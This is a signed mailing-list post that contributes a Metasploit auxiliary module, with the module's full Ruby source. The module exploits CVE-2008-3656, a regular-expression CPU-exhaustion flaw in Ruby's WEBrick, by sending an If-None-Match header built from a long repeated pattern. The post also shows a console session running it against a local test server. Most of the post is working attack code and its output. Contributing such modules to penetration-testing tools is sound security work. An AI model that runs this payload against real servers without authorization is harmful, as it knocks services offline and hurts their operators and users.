-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey guys,
I've attached a new DoS module for the WEBrick vulnerability[1] (WEBrick::HTTP::DefaultFileHandler) which causes massive CPU consumption. I ran this simple server (like the one here[2]): require 'webrick' WEBrick::HTTPServer.new(:Port => 3333, :DocumentRoot => ".").start in my metasploit SVN checkout, and then ran this: msf > use dos/webrick_regex msf auxiliary(webrick_regex) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf auxiliary(webrick_regex) > set RPORT 3333 RPORT => 3333 msf auxiliary(webrick_regex) > set URI /README URI => /README msf auxiliary(webrick_regex) > run [*] Request sent to 127.0.0.1:3333 [*] Auxiliary module execution completed And watched my CPU usage go through the roof until I killed the server. msf auxiliary(webrick_regex) > info Name: Ruby WEBrick::HTTP::DefaultFileHandler DoS Version: 1 Provided by: Kris Katterjohn <[EMAIL PROTECTED]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOST 127.0.0.1 yes The target address RPORT 3333 yes The target port SSL false no Use SSL URI /README yes URI to request VHOST no HTTP server virtual host Description: The WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 to 1.8.7-p71, and 1.9 to r18423 allows for a DoS (CPU consumption) via a crafted HTTP request. Thanks, Kris Katterjohn [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3656 [2] http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQIVAwUBSPfo/v9K37xXYl36AQJz5hAAgjUurVAXTXbOT5sw+9STo2CGSWU1Zto7 lTTc79QOyfmZZIJPN9e8lGGGTG7KBroxv0cwGwwurCQLeFyWSaIb/7dmc1Y353/5 hsDGPrxito8KaM7qY/UT3MRJbQdBK+XjbhGgUfldfhB+dP2iPz02bKl/Rbp/fXXV wl4PSbF1fNlzLGkDE2ZilrO4amqxJ7c3X1hTcOC4AmkabYcxcgpnfxCz94irPSl+ Jr8lw9vN+6x3sj2pYEhzM2SpUIV9yERX/onX/+fYE3OHiSg2KycMPX8pbiZ1rFgN Cw9D98BSBxGhpfS09UGCO4avooqs3D6Ea8tCV9WDCQZCOQoN+cryzQwCItqnBtUY 0uXHnccrXGBMlbAeKv4bp5K6GQJXLRKdrBc6NOQJ5e1jUrFSGdAOZo2Z25oQ5Q4R yOPq1wYtTYxJyl3mU4XeEkpsfO8dTKYQQXRa7WtLGibFq2xUZg+OSLVqaX/bLmf8 SRhQwxGKLaC6jBDZilSfd3J2/JsqMj5zCpDiqOGsP2jhA4+iArpj4PIN+RG4GblJ mBwztAolNjcl0GXUNfXjzW5ZoHXYJNf22YNZBeqieYPKEoZLiQD3KFsbGmJ9l0Us 95acG9fw3mxhiYq7P5OnXX21ytHwA+3HEfO4yQrsXQDzrJpjYsQ40WtSNIFQud/4 kJqH/wbxWcQ= =dJWD -----END PGP SIGNATURE-----
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS', 'Description' => %q{ The WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 to 1.8.7-p71, and 1.9 to r18423 allows for a DoS (CPU consumption) via a crafted HTTP request. }, 'Author' => 'Kris Katterjohn <[EMAIL PROTECTED]>', 'License' => MSF_LICENSE, 'Version' => '1', 'References' => [ [ 'BID', '30644'], [ 'CVE', '2008-3656'], [ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/'] ], 'DisclosureDate' => 'Aug 08 2008')) register_options([ OptString.new('URI', [ true, 'URI to request', '/' ]) ]) end def run begin o = { 'uri' => datastore['URI'] || '/', 'headers' => { 'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100 } } c = connect(o) c.send_request(c.request_raw(o)) print_status("Request sent to #{rhost}:#{rport}") rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Couldn't connect to #{rhost}:#{rport}") rescue ::Timeout::Error, ::Errno::EPIPE end end end
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